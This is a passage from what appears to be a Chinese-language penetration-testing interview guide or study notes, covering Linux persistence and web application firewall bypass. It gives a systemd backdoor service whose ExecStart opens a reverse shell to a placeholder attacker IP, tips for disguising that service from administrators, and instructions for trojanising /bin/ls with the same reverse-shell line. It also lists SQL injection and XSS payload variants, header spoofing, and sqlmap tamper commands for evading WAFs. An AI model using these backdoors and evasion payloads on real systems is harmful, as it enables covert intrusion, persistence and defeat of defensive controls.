ExecStart=/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1
Restart=always # 服务停止后自动重启
Install
WantedBy=multi-user.target'`
-
启用服务:
'systemctl daemon-reload'、'systemctl enable backdoor.service'(开机自启)、'systemctl start backdoor.service'(启动服务); -
隐藏服务:修改服务描述(
'Description')为正常服务名称(如'Apache Support'),避免被管理员发现;
-
-
rootkit持久化
- 安装rootkit:rootkit(如Knark、Adore)可隐藏进程、文件、端口,且能在系统重启后保持生效;
- 注意事项:rootkit检测难度低,但可能被杀毒软件/安全工具识别,需结合免杀使用;
-
文件后门持久化
- 植入文件后门:修改系统常用命令(如
'ls'、'ps'),在命令中添加反弹shell代码,管理员执行该命令时触发后门;- 示例:修改
'/bin/ls',在文件开头添加'/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1 &';
- 示例:修改
- 备份原命令:修改前备份原命令(如
'cp /bin/ls /bin/ls.bak'),后续可恢复。
- 植入文件后门:修改系统常用命令(如
十八、绕过什么waf?如何绕过的
在渗透测试中,WAF(Web应用防火墙)是常见的防护设备,核心绕过思路是"识别WAF类型→找到防护规则漏洞→修改攻击 payload 规避检测",以下是实战中常见的WAF绕过案例:
- 绕过云WAF(如阿里云WAF、腾讯云WAF)
- WAF特征:访问目标域名时,响应头可能带有
'Server: AliYunWAF'、'X-Tencent-CDN'等标识; - 绕过方法:
- 找到真实IP:云WAF通常只防护80/443端口,通过绕过CDN获取真实IP后,直接访问真实IP的80/443端口(或其他开放端口),绕过WAF防护;
- payload变形:针对SQL注入,将关键词大写/小写混合(如
'AdMiN' or 1=1#)、添加注释(如'admin'/**/or/**/1=1#)、使用编码(如URL编码'admin%27%20or%201=1%23'); - 示例:原SQL注入payload
'admin' or 1=1#被拦截,修改为'admin'/**/or/**/1=1#,WAF可能未检测到注释中的关键词;
- WAF特征:访问目标域名时,响应头可能带有
- 绕过开源WAF(如ModSecurity、Naxsi)
- WAF特征:目标服务器为Nginx/Apache,且安装了ModSecurity模块,响应头可能带有
'X-ModSecurity: on'; - 绕过方法:
- 利用规则误判:ModSecurity对部分特殊字符过滤不严,可使用Unicode编码(如
'admin\u0027 or 1=1#')、HTML实体编码(如'admin' or 1=1#'); - 分块传输:通过Burp Suite开启"分块传输编码"(Chunked Encoding),将攻击payload分割成多个小块发送,WAF可能无法拼接检测;
- 示例:XSS payload
<script>alert(1)</script>被拦截,修改为'<scr<script>ipt>alert(1)</script>'(插入自身标签),ModSecurity的规则可能只匹配一次<script>,从而绕过;
- 利用规则误判:ModSecurity对部分特殊字符过滤不严,可使用Unicode编码(如
- WAF特征:目标服务器为Nginx/Apache,且安装了ModSecurity模块,响应头可能带有
- 绕过硬件WAF(如深信服WAF、启明星辰WAF)
- WAF特征:硬件WAF通常部署在网络入口,防护规则较严格,但对HTTP协议细节支持可能不完善;
- 绕过方法:
- HTTP方法篡改:将
'GET'请求改为'POST'、'PUT'等不常见方法,部分WAF只防护GET/POST请求; - 伪造请求头:添加
'X-Forwarded-For: 127.0.0.1'(伪造本地请求)、'Referer: target.com'(伪造同源请求),部分WAF对本地/同源请求检测较宽松; - payload碎片化:将攻击payload拆分到多个参数中,如SQL注入
'admin' or 1=1#,拆分为'?user=admin&a='&b=' or 1=1#',WAF可能未合并多个参数检测;
- HTTP方法篡改:将
- 绕过自研WAF
- WAF特征:企业自研WAF,防护规则可能存在逻辑漏洞(如只检测特定关键词,未考虑组合攻击);
- 绕过方法:
- 逻辑漏洞利用:若WAF只拦截
'union select',可使用'union all select'、'union distinct select'绕过;若只拦截'select *',可使用'select 1,2,3'绕过; - 冷门函数替代:SQL注入中用
'substr()'替代'substring()'、'concat_ws()'替代'concat()';XSS中用'onmouseover'替代'onclick'、'svg/onload'替代'script'; - 示例:自研WAF拦截
'select database()',修改为'select database/*!*/()'(添加MySQL注释),绕过关键词检测;
- 逻辑漏洞利用:若WAF只拦截
- 通用绕过技巧
- 编码绕过:URL编码、Unicode编码、Base64编码、Hex编码(如SQL注入中
'admin'改为'0x61646d696e'); - 空格替代:用
'+'、'%20'、'/**/'、'\t'(制表符)替代空格,规避WAF对空格分隔关键词的检测; - 工具辅助:使用SQLmap的
'--tamper'参数加载绕过脚本(如'sqlmap -r request.txt -p id --tamper=space2comment,upper')、Burp Suite的Payload Processor对payload进行编码变形;
- 编码绕过:URL编码、Unicode编码、Base64编码、Hex编码(如SQL注入中
- 注意事项
- 绕过WAF前,需先通过
'fuzz'测试(如发送各种特殊字符、关键词),识别WAF的防护规则; - 避免使用过于复杂的payload,优先选择简单变形,降低被WAF拦截的概率;
- 实战中需结合目标WAF的特点,灵活调整绕过方法,不可生搬硬套。
- 绕过WAF前,需先通过